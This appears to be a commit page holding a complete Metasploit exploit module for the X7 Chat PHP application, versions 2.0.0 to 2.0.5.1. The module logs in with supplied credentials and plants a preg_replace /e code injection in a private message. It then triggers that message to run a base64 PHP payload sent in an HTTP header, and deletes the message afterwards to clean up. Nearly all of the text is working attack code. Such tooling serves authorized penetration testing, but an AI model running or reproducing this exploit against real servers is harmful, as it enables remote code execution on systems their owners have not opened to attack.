Land #4076, exploit for x7chat PHP application
jvazquez-r7
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400ef51897
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##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::HttpClient
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include Msf::Exploit::PhpEXE
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'X7 Chat 2.0.5 lib/message.php preg_replace() PHP Code Execution',
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'Description' => %q{
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This module exploits a post-auth vulnerability found in X7 Chat versions
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2.0.0 up to 2.0.5.1. The vulnerable code exists on lib/message.php, which
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uses preg_replace() function with the /e modifier. This allows a remote
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authenticated attacker to execute arbitrary PHP code in the remote machine.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'Fernando Munoz <fernando[at]null-life.com>', # discovery & module development
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'Juan Escobar <eng.jescobar[at]gmail.com>', # module development @itsecurityco
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],
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'References' =>
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[
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# Using this URL because isn't nothing else atm
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['URL', 'https://github.com/rapid7/metasploit-framework/pull/4076']
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],
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'Platform' => 'php',
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'Arch' => ARCH_PHP,
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'Targets' => [['Generic (PHP Payload)', {}]],
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'DisclosureDate' => 'Oct 27 2014',
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'DefaultTarget' => 0))
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register_options(
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[
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OptString.new('USERNAME', [ true, 'Username to authenticate as', '']),
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OptString.new('PASSWORD', [ true, 'Pasword to authenticate as', '']),
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OptString.new('TARGETURI', [ true, 'Base x7 Chat directory path', '/x7chat2']),
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], self.class)
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end
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def check
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res = exec_php('phpinfo(); die();', true)
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if res && res.body =~ /This program makes use of the Zend/
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return Exploit::CheckCode::Vulnerable
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else
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return Exploit::CheckCode::Unknown
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end
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end
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def exec_php(php_code, is_check = false)
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# remove comments, line breaks and spaces of php_code
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payload_clean = php_code.gsub(/(\s+)|(#.*)/, '')
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# clean b64 payload (we can not use quotes or apostrophes and b64 string must not contain equals)
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while Rex::Text.encode_base64(payload_clean) =~ /=/
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payload_clean = "#{ payload_clean } "
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end
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payload_b64 = Rex::Text.encode_base64(payload_clean)
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cookie_x7c2u = "X7C2U=#{ datastore['USERNAME'] }"
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cookie_x7c2p = "X7C2P=#{ Rex::Text.md5(datastore['PASSWORD']) }"
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rand_text = Rex::Text.rand_text_alpha_upper(5, 8)
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print_status("Trying for version 2.0.2 up to 2.0.5.1")
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print_status("Sending offline message (#{ rand_text }) to #{ datastore['USERNAME'] }...")
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res = send_request_cgi({
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'method' => 'GET',
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'uri' => normalize_uri(target_uri.path, 'index.php'),
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'headers' => {
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'Cookie' => "#{ cookie_x7c2u }; #{ cookie_x7c2p };",
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},
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'vars_get' => {
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# value compatible with 2.0.2 up to 2.0.5.1
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'act' => 'user_cp',
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'cp_page' => 'msgcenter',
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'to' => datastore['USERNAME'],
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'subject' => rand_text,
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'body' => "#{ rand_text }www.{${eval(base64_decode($_SERVER[HTTP_#{ rand_text }]))}}.c#{ rand_text }",
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}
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})
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unless res && res.code == 200
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print_error("Sending the message (#{ rand_text }) has failed")
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return false
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end
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if res.body =~ /([0-9]*)">#{ rand_text }/
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message_id = Regexp.last_match[1]
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user_panel = 'user_cp'
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else
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print_error("Could not find message (#{ rand_text }) in the message list")
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print_status("Retrying for version 2.0.0 up to 2.0.1 a1")
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print_status("Sending offline message (#{ rand_text }) to #{ datastore['USERNAME'] }...")
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res = send_request_cgi({
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'method' => 'GET',
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'uri' => normalize_uri(target_uri.path, 'index.php'),
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'headers' => {
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'Cookie' => "#{ cookie_x7c2u }; #{ cookie_x7c2p };",
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},
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'vars_get' => {
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# value compatible with 2.0.0 up to 2.0.1 a1
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'act' => 'usercp',
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'cp_page' => 'msgcenter',
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'to' => datastore['USERNAME'],
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'subject' => rand_text,
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'body' => "#{ rand_text }www.{${eval(base64_decode($_SERVER[HTTP_#{ rand_text }]))}}.c#{ rand_text }",
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}
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})
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unless res && res.code == 200
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print_error("Sending the message (#{ rand_text }) has failed")
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return false
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end
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if res.body =~ /([0-9]*)">#{ rand_text }/
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message_id = Regexp.last_match[1]
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user_panel = 'usercp'
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else
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print_error("Could not find message (#{ rand_text }) in the message list")
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return false
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end
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end
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print_status("Accessing message (#{ rand_text })")
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print_status("Sending payload in HTTP header '#{ rand_text }'")
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if is_check
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timeout = 20
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else
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timeout = 3
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end
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res = send_request_cgi({
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'method' => 'GET',
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'uri' => normalize_uri(target_uri.path, 'index.php'),
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'headers' => {
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'Cookie' => "#{ cookie_x7c2u }; #{ cookie_x7c2p };",
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rand_text => payload_b64,
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},
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'vars_get' => {
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'act' => user_panel,
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'cp_page' => 'msgcenter',
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'read' => message_id,
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}
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}, timeout)
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res_payload = res
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print_status("Deleting message (#{ rand_text })")
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res = send_request_cgi({
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'method' => 'GET',
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'uri' => normalize_uri(target_uri.path, 'index.php'),
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'headers' => {
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'Cookie' => "#{ cookie_x7c2u }; #{ cookie_x7c2p };",
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},
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'vars_get' => {
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'act' => user_panel,
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'cp_page' => 'msgcenter',
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'delete' => message_id,
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}
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})
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if res && res.body =~ /The message has been deleted/
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print_good("Message (#{ rand_text }) removed")
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else
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print_error("Removing message (#{ rand_text }) has failed")
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return false
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end
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# if check return the response
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if is_check
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return res_payload
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else
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return true
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end
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end
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def exploit
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unless exec_php(payload.encoded)
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fail_with(Failure::Unknown, "#{peer} - Exploit failed, aborting.")
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end
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end
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end
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